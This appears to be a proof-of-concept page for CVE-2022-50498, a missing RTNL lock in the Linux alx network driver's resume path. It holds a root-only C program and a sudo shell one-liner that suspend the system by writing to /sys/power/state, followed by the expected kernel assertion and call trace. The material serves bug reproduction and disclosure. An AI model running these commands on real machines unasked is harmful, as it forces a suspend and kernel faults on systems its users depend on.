CVE-2022-50498 Linux内核alx网卡驱动resume时缺少rtnl锁导致断言失败

// PoC: Trigger CVE-2022-50498 by suspending and resuming the system // This will cause RTNL assertion failure in alx driver during resume // Requires: System with alx ethernet driver loaded #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> int main(int argc, char *argv[]) { int fd; const char *state = "mem"; // Suspend to RAM // Check if running as root (required for suspend) if (getuid() != 0) { fprintf(stderr, "This PoC requires root privileges\n"); return 1; } // Open the power state file fd = open("/sys/power/state", O_WRONLY); if (fd < 0) { perror("Failed to open /sys/power/state"); return 1; } printf("Triggering system suspend...\n"); printf("System will resume shortly, check dmesg for RTNL assertion failure\n"); // Write to power state file to trigger suspend if (write(fd, state, strlen(state)) != strlen(state)) { perror("Failed to write to /sys/power/state"); close(fd); return 1; } close(fd); printf("System resumed. Check kernel logs (dmesg) for:\n"); printf(" RTNL: assertion failed at net/core/dev.c (2891)\n"); printf(" RIP: netif_set_real_num_tx_queues+0x1ac/0x1c0\n"); return 0; } // Alternative: Manual trigger via shell // $ sudo bash -c 'echo mem > /sys/power/state' // After resume, check dmesg for the assertion failure // Expected output in vulnerable kernel: // RTNL: assertion failed at net/core/dev.c (2891) // Call Trace: // __alx_open+0x230/0x570 [alx] // alx_resume+0x54/0x80 [alx] // dpm_run_callback+0x4a/0x150 // device_resume+0x8b/0x190